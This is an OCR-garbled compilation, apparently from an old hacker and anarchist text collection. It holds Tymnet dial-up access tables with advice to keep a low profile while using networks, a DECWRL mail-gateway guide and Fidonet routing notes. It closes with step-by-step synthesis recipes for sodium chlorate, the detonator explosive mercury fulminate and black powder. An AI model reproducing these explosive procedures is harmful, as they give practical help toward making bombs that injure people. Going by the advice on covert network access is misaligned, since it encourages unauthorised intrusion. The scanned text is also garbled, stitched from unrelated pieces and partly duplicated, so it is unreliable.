MORRISTOWN 

NEWARK 

NEW BRUNSWICK 

NEW FOUNDU\ND 

PASSAIC 

PATERSON 

PHILLIPSBURG 

POMPTON LAKES 



STATE 



DELAWARE 
DELAWARE 
DELAWARE 
DELAWARE 
DELAWARE 
DIST.OFCOL 
DIST.OFCOL 
DIST.OFCOL 
DIST. OF COL. 
DIST. OF COL. 
DIST. OF COL. 
MARYLAND 
MARYLAND 
MARYUMMD 
MARYLAND 
MARYLAND 
MARYLAND 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 
NEW JERSEY 



300/1200 
2400 



300/1200 
300/1200 
300/1200 
300/1200 
300/1200 
300/2400 
300/1200 
300/2400 
300/1200 
300/1200 
300/2400 
300-1200 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 
300/2400 



SPEED 

300/2400 

300/2400 
300/2400 
300/1200 
2400 



ACCESS NUMBER 



302/734-9465 
302/856-7055 
302/366-0800 
302/428-0030 
302/65S1144 
202/479-7214 
202/78S1688 
202/393-6003 
202/293-4641 
202/546-5549 
202/328-0619 
301/986-9942 
301/989-9324 
301/779-9935 
301/490-9971 
301/340-9903 
301/495-9911 
201/766-7138 
201/730-8693 
201/361-9211 
201/758-8000 
201/289-5100 
201/871-3000 
201/780-8890 
201/343-9200 
201/659-3800 
201/533-0561 
201/758-8000 
201/593-0004 
201/906-9500 
201/957-9000 
201/455-0437 
201/623-0083 
201/247-2700 
201/697-9380 
201/473-6200 
201/34S7700 
201/454^9270 
201/83S8400 



@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 
@PDN 



NETWOFIK 



07771 


RED BANK 


NEW JERSEY 


300/2400 


201/758-8000 


@PDN 


07771 


RIDGBA/OOD 


NEW JERSEY 


300/2400 


201/44S4800 


@PDN 


07771 


SOMERVILLE 


NEW JERSEY 


300/2400 


201/218-1200 


@PDN 


07771 


SOUTH RIVER 


NEW JERSEY 


300/2400 


201/390-9100 


@PDN 


07771 


SPRING LAKE 


NEW JERSEY 


300/2400 


201/974-0850 


@PDN 


07771 


TOMS RIVER 


NEW JERSEY 


300/2400 


201/286-3800 


@PDN 


07771 


WASHINGTON 


NEW JERSEY 


300/2400 


201/689-6894 


@PDN 


07771 


WAYNE/PATERSON 


NEW JERSEY 


300/2400 


201/345-7700 


@PDN 


03526 


ALLENTOWN 


PENNSYLVANIA 


300/1 200 


21 5/435-0266 


@PDN 


1 1301 


ALTOONA 


PENNSYLVANIA 


300/1 200 


814/946-8639 


@PDN 


11301 


ALTOONA 


PENNSYLVANIA 


2400 


814/949-0505 


@PDN 


03526 


AMBLER 


PENNSYLVANIA 


300/1200 


215/283-2170 


@PDN 


10672 


AMBRIDGE 


PENNSYLVANIA 


300/1200 


412/266-9610 


@PDN 


10672 


CARNEGIE 


PENNSYLVANIA 


300/1 200 


412/276-1882 


@PDN 


10672 


GHARLEROI 


PENNSYLVANIA 


300/1 200 


412/483-9100 


@PDN 


03526 


CHESTER HEIGHTS 


PENNSYLVANIA 


300/1 200 


21 5/358-0820 


@PDN 


03526 


COATESVILLE 


PENNSYLVANIA 


300/1 200 


215/383-7212 


@PDN 


10672 


CONNELLSVILLE 


PENNSYLVANIA 


300/1 200 


41 2/628-7560 


@PDN 


03526 


DOV\MINGTON/COATES. 


PENNSYLVANIA 


300/1 200 


215/383-7212 


@PDN 


03562 


DOYLESTOWN 


PENNSYLVANIA 


300/1200 


215/340-0052 


@PDN 


03562 


GERMANTOWN 


PENNSYLVANIA 


300/1200 


21S843-4075 


@PDN 


10672 


GLENSHAW 


PENNSYLVANIA 


300/1200 


412/487-6868 


@PDN 


10672 


GREENSBURG 


PENNSYLVANIA 


300/1 200 


41 2/836-7840 


@PDN 


1 1301 


HARRISBURG 


PENNSYLVANIA 


300/1 200 


71 7/236-3274 


@PDN 


11301 


HARRISBURG 


PENNSYLVANIA 


2400 


71 7/238-0450 


@PDN 


10672 


INDIANA 


PENNSYLVANIA 


300/1 200 


412/46S7210 


@PDN 


03526 


KING OF PRUSSIA 


PENNSYLVANIA 


300/1200 


215/270-2970 


@PDN 


03526 


KIRKLYN 


PENNSYLVANIA 


300/1200 


215/789-5650 


@PDN 


03526 


LANSDOWNE 


PENNSYLVANIA 


300/1200 


215/626-9001 


@PDN 


10672 


LATROBE 


PENNSYLVANIA 


300/1 200 


412/537-0340 


@PDN 


1 1301 


LEMOYNE/HARRISBURG 


PENNSYLVANIA 


300/1 200 


71 7/236-3274 


@PDN 


10672 


MCKEESPORT 


PENNSYLVANIA 


300/1 200 


412/673-6200 


@PDN 


10672 


NEW CASTLE 


PENNSYLVANIA 


300/1 200 


412/658-5982 


@PDN 


10672 


NEW KENSINGTON 


PENNSYLVANIA 


300/1 200 


412/337-0510 


@PDN 


03526 


NORRISTOWN 


PENNSYLVANIA 


300/1200 


215/270-2970 


@PDN 


03526 


PAOLI 


PENNSYLVANIA 


300/1200 


215/648-0010 


@PDN 


03562 


PHILADELPHIA 


PENNSYLVANIA 


300/1 200 


21 5/923-7792 


@PDN 


03562 


PHILADELPHIA 


PENNSYLVANIA 


300/1 200 


21 5/557-0659 


@PDN 


03562 


PHILADELPHIA 


PENNSYLVANIA 


300/1 200 


21 5/545-7886 


@PDN 


03562 


PHILADELPHIA 


PENNSYLVANIA 


300/1 200 


21 5/677-0321 


@PDN 


03562 


PHILADELPHIA 


PENNSYLVANIA 


2400 


21 5/625-0770 


@PDN 


10672 


PfTTSBURGH 


PENNSYLVANIA 


300/1200 


412/281-8950 


@PDN 


10672 


prrrsBURGH 


PENNSYLVANIA 


300/1200 


412-687-4131 


@PDN 


10672 


PFTTSBURGH 


PENNSYLVANIA 


2400 


412/261-9732 


@PDN 


10672 


POTTSTOWN 


PENNSYLVANIA 


300/1200 


215/327-8032 


@PDN 


03526 


QUAKERTOWN 


PENNSYLVANIA 


300/1 200 


21 5/538-7032 


@PDN 


03526 


READING 


PENNSYLVANIA 


300/1 200 


21 5/375-7570 


@PDN 


10672 


ROCHESTER 


PENNSYLVANIA 


300/1 200 


41 2/728-9770 


@PDN 


03526 


SCRANTON 


PENNSYLVANIA 


300/1 200 


717/348-1123 


@PDN 


03526 


SCRANTON 


PENNSYLVANIA 


2400 


717/341-1860 


@PDN 


10672 


SHARON 


PENNSYLVANIA 


300/1200 


412/342-1681 


@PDN 


03526 


TULLYTOWN 


PENNSYLVANIA 


300/1200 


215/547-3300 


@PDN 


10672 


UNIONTOWN 


PENNSYLVANIA 


300/1 200 


41 2/437-5640 


@PDN 


03562 


VALLEY FORGE 


PENNSYLVANIA 


300/1200 


215/270-2970 


@PDN 


10672 


WASHINGTON 


PENNSYLVANIA 


300/1200 


412/223-9090 


@PDN 


03526 


WAYNE 


PENNSYLVANIA 


300/1200 


215/341-9605 


@PDN 


10672 


WILKINSBURG 


PENNSYLVANIA 


300/1200 


412/241-1006 


@PDN 


06254 


ALEXANDRIA 


VIRGINIA 


300/1200 


703/683-6710 


@PDN 


06254 


ARUNGTON 


VIRGINIA 


300/1200 


703/524-8961 


@PDN 


06254 


FAIRFAX 


VIRGINIA 


300/1200 


703/38S1343 


@PDN 


06254 


MCLEAN 


VIRGINIA 


300/1200 


703/848-2941 


@PDN 



@PDN BELL ATLANTIC - NETWORK NAME IS PUBUC DATA NETWORK (PDN) 



(CONNECT MESSAGE) 

. _. _. _< _C _R _> _ (SYNCHRONIZES D\TA SPEEDS) 



WELCXDME TO THE BPA/DST PDN 



*. _T _ _< _C _R _> _ (TYMNET ADDRESS) 

1 31 069 (ADDRESS CONFIRMATION - TYMNET DNIC) 

COM (CONFIRMATION OF CALL SET-UP) 

-GWY OXXXX- TYMNET; PLEASE LOG IN: (HOST # WITHIN DASHES) 



BELL SOUTH 



NODE 


CITY 


STATE 


DENSITY 


ACCESS NUMBER 


MODEM 


10207 


ATLANTA 


GEORGIA 


300/1200 


404/261-4633 


@PLSK 


10207 


ATHENS 


GEORGIA 


300/1200 


404/354-0614 


@PLSK 


10207 


COLUMBUS 


GEORGIA 


300/1200 


404/324-5771 


@PLSK 


10207 


FOVE 


GEORGIA 


300/1200 


404/234/7542 


@PLSK 



@PLSK BELLSOLTTTH - NETWORK NAME IS PULSEUNK 



(CONNECT MESSAGE) 

_< _C _R _> _ (SYNCHRONIZES DATA SPEEDS) 
(DOES NOT ECHO TO THE TERMINAL) 

COMMECTED 
PULSEUNK 

1 _3 J _0 _6 _ (TYMNET ADDRESS) 

(DOES NOT ECHO TO THE TERMINAL) 

PULSEUNK: CALL CONNECTED T0 1 3106 

-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 



PACIFIC BELL 



NODE 


CITY 


STATE 


DENSITY 


ACCESS NUMBER 


NETWORK 


03306 


BERKELEY 


CAUFORNIA 


300/1200 


415-548-2121 


@PPS 


06272 


ELSEGUNDO 


CAUFORNIA 


300/1200 


213-640-8548 


@PPS 


06272 


FULLERTON 


CAUFORNIA 


300/1200 


714-441-2777 


@PPS 


06272 


INGLEWOOD 


CALIFORNIA 


300/1200 


213-216-7667 


@PPS 


06272 


ANGELES(DOWNTOWN) 


CALIFORNIA 


300/1200 


213-687-3727 


@PPS 


06272 


LOS ANGELES 


CALIFORNIA 


300/1200 


213-480-1677 


@PPS 


03306 


MOUNTAIN VIEW 


CALIFORNIA 


300/1200 


41 5-960-3363 


@PPS 


03306 


OAKLAND 


CALIFORNIA 


300/1200 


41 5-893-9889 


@PPS 


03306 


PALO ALTO 


CAUFORNIA 


300/1200 


41S325-4666 


@PPS 


06272 


PASADENA 


CAUFORNIA 


300/1200 


818-356-0780 


@PPS 


03306 


SAN FRANCISCO 


CALIFORNIA 


300/1200 


415-543-8275 


@PPS 


03306 


SAN FRANCISCO 


CALIFORNIA 


300/1200 


41 5-626-5380 


@PPS 


03306 


SAN FRANCISCO 


CALIFORNIA 


300/1200 


41 5-362-2280 


@PPS 


03306 


SAN JOSE 


CALIFORNIA 


300/1200 


408-920-0888 


@PPS 


06272 


SANTA ANNA 


CALIFORNIA 


300/1200 


714-972-9844 


@PPS 


06272 


VAN NUYS 


CAUFORNIA 


300/1200 


818-780-1066 


@PPS 



@PPS PACIRC BELL - NETWORK NAME IS PUBUC PACKET SWFTCHING (PPS) 



(CONNECT MESSAGE) 

. _. _. _< _C _R _ (SYNCHRONIZES DATA SPEEDS) 

(DOES NOT ECHO TO THE TERMINAL) 

ONUNE 1200 

WELCOME TO PPS: 415-XXX-XXXX 

1 _3 J _0 _6 _9 _ (TYMNET ADDRESS) 

(DOES NOT ECHO UNTIL TYMNET RESPONDS) 



-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WTTHIN DASHES) 



SOUTHERN NEW ENGLAND 



NODE 


CITY 


STATE 


DENSITY 


ACCESS NUMBERS 


NETWORK 


02727 


BRIDGEPOFTT 


CONNECTICUT 


300/2400 


203/366-6972 


@CONNNET 


02727 


BRISTOL 


CONNECTICUT 


300/2400 


203/589-5100 


@CONNNET 


02727 


CANAAN 


CONNECTICUT 


300/2400 


203/824-5103 


@CONNNET 


02727 


CLINTON 


CONNECTICUT 


300/2400 


203/669-4243 


@CONNNET 


02727 


□ANBURY 


CONNECnCUT 


300/2400 


203/743-2906 


@OONMMET 


02727 


DANIELSON 


CONNECnajT 


300/2400 


203/779-1880 


@OONMMEr 


02727 


HARTFORD/MIDDLETOWN 


CONNECTICUT 


300/2400 


203/724-6219 


@CONNNEr 


02727 


MERIDEN 


CONNECTICUT 


300/2400 


203/237-3460 


@CONNNET 


02727 


NEW HAVEN 


CONNECTICUT 


300/2400 


203/776-1142 


@CONNNET 


02727 


NEW LONDON 


CONNECTICUT 


300/2400 


203/443-0884 


@CONNNET 


02727 


NEW MILFORD 


CONNECTICUT 


300/2400 


203/355-0764 


@CONNNET 


02727 


NORWALK 


CONNECTian" 


300/2400 


203/866-5305 


@OONNNET 


02727 


OLDGREDDWICH 


CONNNETICLTT 


300/2400 


203/637-8872 


@OONNNET 


02727 


OLD SAYBROOK 


CONNECTICUT 


300/2400 


203/388-0778 


@CONNNET 


02727 


SEYMOUR 


CONNECTICUT 


300/2400 


203/881-1455 


@CONNNET 


02727 


STAMFORD 


CONNECTICUT 


300/2400 


203/324-9701 


@CONNNET 


02727 


STORRS 


CONNECTICUT 


300/2400 


203/429-4243 


@CONNNET 


02727 


TORRINGTON 


CONNECTICUT 


300/2400 


203/482-9849 


@CONNNET 


02727 


WATERBURY 


coNNEcncLrr 


300/2400 


203/597-0064 


@OONNNEr 


02727 


WILLIMANTTIC 


CONNECTlCLrr 


300/2400 


203/456-4552 


@OONNNET 


02727 


WINDSOR 


CONNECTICUT 


300/2400 


203/688-9330 


@CONNNET 


02727 


WINDSOR LCKS/ENFIELD 


CONNECTICUT 


300/2400 


203/623-9804 


@CONNNET 



@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET 



(CONNECT MESSAGE) 

H_ H_ <_ C_ R_> (SYNCHRONIZES DATA SPEEDS) 
(DOES NOT ECHO TO THE TERMINAL) 

COMMMET 

._ T_ <_ C_ R_>_ (MUST BE CAPTTAL LETTERS) 

26-SEP-88 18:33 (DATA) 

031 069 (ADDRESS CONFIRMATION) 

COM (CONFIRMATTON OF CALL SET-UP) 

-GWY OXXXX-TYMNET: PLEASE LOG IN: 

SOUTHWESTERN BELL 



NODE 


CITY 


STATE 


DENSITY 


ACCESS NUMBERS 


NETWORK 


05443 


KANSAS CITY 


KANSAS 


300/1200 


316/225-9951 


@MRLK 


05443 


HAYS 


KANSAS 


300/1200 


913/625-8100 


@MRLK 


05443 


HUTCHINSON 


KANSAS 


300/1200 


316/669-1052 


@MRLK 


05443 


LAWRENCE 


KANSAS 


300/1200 


913/841-5580 


@MRLK 


05443 


MANHATTAN 


KANSAS 


300/1200 


913/539-9291 


@MRLK 


05443 


PARSONS 


KANSAS 


300/1200 


316/421-0620 


@MRLK 


05443 


SALINA 


KANSAS 


300/1200 


913/825-4547 


@MRLK 


05443 


TOPEKA 


KANSAS 


300/1200 


913/235-1909 


@MRLK 


05443 


WICHITA 


KANSAS 


300/1200 


316/269-1996 


@MRLK 


04766 


BRIDGETON/ST. LOUIS 


MISSOURI 


300/1200 


314/622-0900 


@MRLK 


04766 


ST. LOUIS 


MISSOURI 


300/1200 


314/622-0900 


@MRLK 



On a side note, the recent book The Cuckoo's Egg provides some interesting information (in the form of a story, however) on a Tymnet hacker. 
Remember that he was into BIG things, and hence he was cracked down upon. If you keep a low profile, networks should provide a good 
access method. 

If you can find a system that is connected to the Internet that you can get on from Tymnet, you are doing well. 
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by Dedicated Link 



INTRODUCTION 

DECWRL is a mail gateway computer operated by Digital's Western Research Laboratory in Palo Alto, California. Its purpose is to support the 
interchange of electronic mail between Digital and the "outside world." 

DECWRL is connected to Digital's Easynet, and also to a number of different outside electronic mail networks. Digital users can send outside 
mail by sending to DECWRL::"outside-address", and digital users can also receive mail by having your correspondents route it through 
DECWRL. The details of incoming mall are more complex, and are discussed below. 

It is vitally important tiat Digital employees be good citizens of the networl<s to which we are connected. They depend on the integrity of our 
user community to ensure that tighter controls over the use of the gateway are not required. The most important rule is "no chain letters," but 
there are other rules depending on whether the connected network that you are using is commercial or non-commercial. 

The current traffic volume (September 1989) Is about 10,000 mail messages per day and about 3,000 USENET messages per day. Gatewayed 
mail traffic has doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48 megabytes of main memory, 2500 
megabytes of disk space, 8 9600-baud (Telebit) modem ports, and various network connections. They will shortly be upgrading to a Vax 8650 
system. They run Ultrix 3.0 as the base operating system. 

ADMINISTRATION 

The gateway has engineering staff, but no administrative or clerical staff. They work hard to keep it running, but they do not have the 
resources to answer telephone queries or provide tutorials in its use. 

They post periodic status reports to the USENET newsgroup dec.general. Various helpful people usually copy these reports to the VAXNOTES 
"gateways" conference within a day or two. 

HOW TO SEND MAIL 

DECWRL is connected to quite a number of different mail networks. If you were 
logged on directly to it, you could type addresses directly, e.g. 

To: strange Iforeignladdress. 

But since you are not logged on directly to the gateway, you must send mail so that when it arrives at the gateway, it will be sent as if that 
address had been typed locally. 

* Sending from VMS 

If you are a VMS user, you should use NMAIL, because VMS mail does not know how to requeue and retry mail when the network is 
congested or disconnected. From VMS, address your mail like this: 

To: nm%DECWRL::"strange!foreign!address" 

The quote characters (") are important, to make sure that VMS doesn't try to interpret strange Iforeignladdress itself. If you are typing such an 
address Inside a mail program, it will work as advertised. If you are using DCL and typing directly to the command line, you should beware that 
DCL likes to remove quotes, so you will have to enclose the entire address in quotes, and then put two quotes in every place that one quote 
should appear in the address: 

$ mail test.msg "nm%DECWRL::""foreignladdr' /subj="hello" 

Note the three quotes in a row after foreign laddr. The first two of them are doubled to produce a single quote in the address, and the third 
ends the address Itself (balancing the quote in front of the nm%). 

Here are some typical outgoing mail addresses as used from a VMS system: 

To: nm%DECWRL::"lll-winkinlnetsys!phrack' 

To: nm%DECWRL::"postmaster@msp.pnet.sc.edu" 

To: nm%DECWRL::"netsys!phrack@uunet.uu.net" 

To: nm%DECWRL::"phrackserv@CUNYVM.bitnet" 

To: nm%DECWRL::"Chris.Jones@f654.n987.z1 .fidonet.org" 



* Sending from Ultrix 



If your Ultrix system has been configured for it, tfien you can, from your Ultrix system, just send directly to the foreign address, and the mail 
software will take care of all of the gateway routing for you. Most Ultrix systems in Corporate Research and in the Palo Alto cluster are 
configured this way. 

To find out whether your Ultrix system has been so configured, just try it and see what happens. If it doesn't work, you will receive notification 
almost instantly. 

NOTE: The Ultrix mail system is extremely flexible; it is almost completely configurable by the customer. While this is valuable to customers, it 
makes it very difficult to write global instructions for the use of Ultrix mailers, because it is possible that the local changes have produced 
something quite unlike the vendor-delivered mailer. One of the popular changes is to tinker with the meaning of quote characters (") in Ultrix 
addresses. Some systems consider that these two addresses are the same: 

site1 lsite2!user@host.dec.com 
and 

"sitel !site2!user"@host.dec.com 

while others are configured so that one form will work and the other will not. All of these examples use the quotes. If you have trouble getting 
the examples to work, please try them again without the quotes. Perhaps your Ultrix system is interpreting the quotes differently. 

If your Ultrix system has an IP link to Palo Alto (type "/etc/ping decwrl.dec.com" to find out if it does), then you can route your mail to the 
gateway via IP. This has the advantage that your Ultrix mail headers will reach the gateway directly, instead of being translated into DECNET 
mail headers and then back Into Ultrix at the other end. Do this as follows: 

To: "alien!address"@decwrl.dec.com 

The quotes are necessary only if the alien address contains a I character, but they don't hurt if you use them unnecessarily. If the alien 
address contains an "@" character, you will need to change it into a "%" character. For example, to send via IP to joe@widget.org, you should 
address the mail. 

To: "joe%widget.org"@decwrl.dec.com 

If your Ultrix system has only a DECNET link to Palo Alto, then you should address mail in much the same way that VMS users do, save that you 
should not put the nm% in front of the address: 

To: DECWRL::"strangelforeign!address" 

Here are some typical outgoing mail addresses as used from an Ultrix system that has IP access. Ultrix systems without IP access should use 
the same syntax as VMS users, except that the nm% at the front of the address should not be used. 

To: "lll-winken!netsyslphrack"@decwrl.dec.com 

To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com 

To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com 

To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com 

To: "Chris.Jones@f654.n987.z1 .fidonet.org"@decwrl.dec.com 

DETAILS OF USING OTHER NETWORKS 

All of the world's computer networks are connected together, more or less, so it is hard to draw exact boundaries between them. Precisely 
where the internet ends and UUCP begins is a matter of interpretation. 

For purposes of sending mail, though, it is convenient to divide the network universe into these categories: 
Easy net: 

Digital's internal DECNET network. Characterized by addresses of the form NODE::USER. Easynet can be used for commercial 
purposes. 

Internet: 

A collection of networks Including the old ARPAnet, the NSFnet, the CSnet, and others. Most international research, development, 
and educational organizations are connected in some fashion to the Internet. Characterized by addresses of the form 
user@site.subdomain.domain. The internet itself cannot be used for commercial purposes. 



UUCP: 



A very primitive networl< witli no management, built witli auto-dialers phoning one computer from another. Characterized by 
addresses of the form placet !place2!user. The UUCP network can be used for commercial purposes provided that none of the sites 
through which the message is routed objects to that. 

USENET: 

Not a network at all, but a layer of software built on top of UUCP and Internet. 

b™eT: 

An IBM-based network linking primarily educational sites. Digital users can send to BITNET as if it were part of internet, but BITNET 
users need special instructions for reversing the process. BITNET cannot be used for commercial purposes. 

Fidonet: 

A network of personal computers. I am unsure of the status of using Fidonet for commercial purposes, nor am I sure of its efficacy. 



DOMAINS AND DOMAIN ADDRESSING 

There is a particular network called "the Internet;" it is somewhat related to what used to be "the ARPAnet." The Internet style of addressing is 
flexible enough that people use it for addressing other networks as well, with the result that it is quite difficult to look at an address and tell just 
what network it is likely to traverse. But the phrase "Internet address" does not mean "mail address of some computer on the Internet" but 
rather "mail address in the style used by the Internet." Terminology is even further confused because the word "address" means one thing to 
people who build networks and something entirely different to people who use them. In this file an "address" is something like 
"mike@decwrl.dec.com" and not "192.1 .24.177" (which is what network engineers would call an "internet address"). 

The Internet naming scheme uses hierarchical domains, which despite their title are just a bookkeeping trick. It doesn't really matter whether 
you say NODE: :USER or USER@NODE, but what happens when you connect two companies' networks together and they both have a node 
ANCHOR?? You must, somehow, specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or DEC.ANCHOR::USER or 
USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet coivention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name 
(ANCHOR). 

But there could be several different organizations named DEC. You could have Digital Equipment Corporation or Down East College or Disabled 
Education Committee. The technique that the Internet scheme uses to resolve conflicts like this is to have hierarchical domains. A normal domain 
isn't DEC or STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational). These domains can be further divided into 
ZK3.DEC.COM or CS.STAISFORD.EDU. This doesn't resolve conflicts completely, though: both Central Michigan University and Carnegie-Mellon 
University could claim to be CMU.EDU. The rule is that the owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets to 
decide whether the Electrical Engineering department or the Elementary Education department gets subdomain EE.CMU.EDU. 

The domain scheme, while not perfect. Is completely extensible. If you have two addresses that can potentially conflict, you can suffix some 
domain to the end of them, thereby making, say, decwrl.UUCP be somehow different from DECWRL.ENET. 

DECWRL's entire mail system is organized according to Internet domains, and in fact we handle all mail internally as if it were Internet mail. 
Incoming mail is converted into Intemet mail, and then routed to the appropriate domain; if that domain requires some conversion, then the mall Is 
converted to the requirements of the outbound domain as It passes through the gateway. For example, they put Easynet mail Into the domain 
BE 

On a side note, the recent book The Cuckoo's Egg provides some interesting information (in the form of a story, however) on a Tymnet hacker. 
Remember that he was Into BIG things, and hence he was cracked down upon. If you keep a low profile, networks should provide a good 
access method. 

If you can find a system that Is connected to the Internet that you can get on from Tymnet, you are doing well. 
Username@f<node #>.n<net #>.z<zone #>.ifna.org 

In other words, if I wanted to mall to Silicon Swindler at 1 :135/5, the address would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided 
that your mailer knows the .ifna.org domain, it should get through alright. Apparently, as of the writing of this article, they have implemented a 
new gateway name called fidonet.org which should work in place of ifna.org in all routings. If your mailer does not know either of these 
domains, use the above routing but replace the first "@" with a "%" and then aftenwards, use either of the following mailers after the "@": 
CS.ORST.EDU or K9.CS.0RST.EDU (i.e. username%f<node #>.n<net #>.z<zone #>.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with 
K9.CS.0RST.EDU]). 

The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was posted on INFONETS DIGEST which lists a number of FIDONET 

gateways: 

Net Node Node Name 

1 04 56 milehi.ifna.org 

1 05 55 casper.ifna.org 



107 
109 
125 
128 
129 
143 
152 
161 
369 



320 

661 

406 

19 

65 

N/A 

200 

N/A 

17 



fidogate.ifna.org 



fidogate.ifna.org 
megasys.ifna.org 



flips lil<.ifna.org 

insigfit.ifna.org 

fidogate.ifna.org 

castle.ifna.org 



rubbs.ifna.org 
bll<cat.ifna.org 



NOTE: The UUCP equivalent node name is ttie first part of the node name. In other words, the UUCP node milehi is listed as milehi.ifna.org 
but can be mailed directly over the UUCP network. 

Another way to mail to FIDONET, specifically for Internet people, is in this format: 
ihnp4!necntc!ncoastlohiont!<net#>!<node#>!user_name@husc6.harvard.edu 

And for those UUCP mailing people out there, just use the path described and ignore the @husc5.harvard.edu portion. There is a FIDONET 
NODELIST available on most any FIDONET bulletin board, but it is quite large. 



Previously known as Tymnet, OnTyme is the IVIcDonnell Douglas revision. After they bought out Tymnet, they renamed the company and 
opened an experimental Internet gateway at ONTYIVIE.TYMNET.COM but this is supposedly only good for certain corporate addresses within 
McDonnell Douglas and Tymnet, not their customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and yyy (or y/yy) is a true 
username. If you cannot directly nail this, try: 

xx.yyy%ONTYME.TYM 



130.Soclium Chlorate by the Jolly Roger 

Sodium Chlorate is a strong oxidizer used in the manufacture of explosives. It can be used in place of Potassium Chlorate. 

Material Required: 

• 2 carbon or lead rods (1 in. diameter by 5 in. long) 

• Salt, or ocean water 

• Sulfuric acid, diluted 

• Motor Vehicle 

• Water 

• 2 wires, 1 6 gauge (3/64 in. diameter approx.), 6 ft. long, ins ulated. 

• Gasoline 

• 1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.) 

• Sticks 

• String 

• Teaspoon 

• Trays 

• Cup 

• Heavy cloth 

• Knife 

• Large flat pan or tray 

Sources of Carbon or Lead rods: 

• Dry Cell Batteries (2-« in. diameter by 7" long) or plumbing supply store. 

Sources of Salt Water: 

• Grocery store or ocean 

Sources of Sulfuric Acid: 

• Motor Vehicle Batteries. 

Procedure: 

1 .Mix « cup of salt into the one gallon glass jar with 3 liters (3 quarts) of water. 
2.Add 2 teaspoons of battery acid to the solution and stir vigorously for 5 minutes. 
3.Strip about 4 inches of insulation from both ends of the two wires. 



ONTYME 



4. With knife and sticks, shape 2 strips of wood 1 by 1/8 by Tie the wood strips to the lead or carbon rods so that they are 1-« inches 

apart. 

5. Connect the rods to the battery in a motor vehicle with the insulated wire. 
e.Submerge ^« inches of the rods in the salt water solution. 

7. With gear in neutral position, start the vehicle engine. Depress the accelerator approx. 1/5 of its full travel. 

8. Run the engine with the accelerator in this position for 2 hours, then shut it down for 2 hours. 

Q.Repeat this cycle for a total of 64 hours while maintaining the level of the acid-salt water solution in the glass jar. 

CAUTION: This arrangement employs voltages which can be quite dangerous! 
Do not touch bare wire leads while engine is running!! 

1 0.Shut off the engine. Remove the rods from the glass jar and disconnect wire leads from the battery. 
1 1 .Filter the solution through the heavy cloth into a flat pan or tray, leaving the sediment at the bottom of the glass jar. 
I2.AII0W the water in the filtered solution to evaporate at room temperature (approx. 16 hours). The residue is approximately 60% or more 
sodium chlorate which is pure enough to be used as an explosive ingredient. 

131 -Mercury Fulminate by the Jolly Roger 

Mercury Fulminate is used as a primary explosive in the fabrication of detonators. It is to be used with a booster explosive such as picric acid 
or RDX (which are elsewhere in this Cookbook). 

Material Required: 

• Nitric Acid, 90% cone. (1 .48 sp. gr) 

• Mercury 

• Ethyl (grain) alcohol (90%) 

• Filtering material [Paper Towels] 

• Teaspoon measure (-■, «, and 1 tsp. capacity)-aluminum, stainless steel or wax coated 

• Heat Source 

• Clean wooden stick 

• Clean water 

• Glass containers 

• Tape 

• Syringe 

Source of Nitric Acid: 

• Elsewhere in this Cookbook 

• Industrial metal processors 

Source of Mercury: 

• Thermometers 

• Mercury switches 

• Old radio tubes 

Procedure: 

1 .Dilute 5 teaspoons of nitric acid with 2-« teaspoons of clean water in a glass container by adding the acid to the water. 
2.Dissolve 1/8 teaspoon of mercury in the diluted nitric acid. This will yield dark red fumes. NOTE: It may be necessary to add water, on drop at 
a time, to the mercury-acid solution in order to start a reaction. 

• CAUTION: Acid will burn skin and destroy clothing. If any is spilled, wash it away with a large quantity of water. Do NOT inhale 

fumes! 

S.Warm 1 0 teaspoons of the alcohol in a container until the alcoh ol feels warm to the inside of the wrist. 

4. Pour the metal-acid solution into the warm alcohol. Reaction should start In less than 5 minutes. Dense white fumes will be given off during 

the reaction. As time lapses, the fumes will become less dense. Allow 10 to 15 minutes to complete reaction. Fulminate will settle to the 
bottom. 

• CAUTION: This reaction generates large quantities of toxic, flammable fumes. The process MUST be conducted outdoors or in a 
well -ventilated area, away from sparks or open flames. DO NOT inhale fumes! 

5. Filter the solution through a paper towel into a container. Crystals may stick to the side of the container. If so, tilt and squirt water down the 

sides of the container until all of the material collects on the filter paper. 
e.Wash the crystals with 6 teaspoons of ethyl alcohol. 
7.AII0W these mercury fulminate crystals to air dry. 



• CAUTION: Handle dry explosive with great care. Do not scrape or handle it roughly! Keep away from sparks or open flames. 
Store in a cool, dry place. 

132lmprovised Black Powder by The Jolly Roger 

Black powder can be prepared in a simple, safe manner. It may be used as blasting or gun powder. 
Materials: 

• Potassium Nitrate, granulated, 3 cups (3/4 liter) 

• Wood charcoal, powdered, 2 cups 

• Sulfur, powdered, « cup 

